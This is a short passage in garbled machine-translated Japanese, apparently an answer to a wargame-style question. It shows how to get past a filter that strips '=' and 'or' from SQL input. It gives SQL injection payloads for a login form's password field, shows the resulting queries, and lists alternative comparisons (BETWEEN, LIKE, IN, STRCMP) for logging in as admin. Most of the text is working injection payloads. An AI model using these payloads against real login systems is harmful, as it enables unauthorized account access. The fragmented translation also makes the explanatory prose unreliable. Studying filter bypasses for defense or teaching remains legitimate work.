このlvl2_filter
の定義を想定
、基本的に=
の出現をすべて削除します およびor
見つからなくなるまで、論理OR演算
||
を使用 OR
の代わりに そして、次のように真と評価される単純な式:
username: dummy
password: ' || '1
これにより、次のようになります。
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
特定のユーザーを選択するには、ブール代数のルール
を使用できます。 、ここでx=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
これにより、次のようになります。
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
ここで<>
!=
と同等です ただし、=
は含まれていません 。
ユーザー名を確認するために使用できる他の操作もあります admin
と等しい :
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
-
username IN ('admin')
-
IF(STRCMP(username,'admin'), 0, 1)
-
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …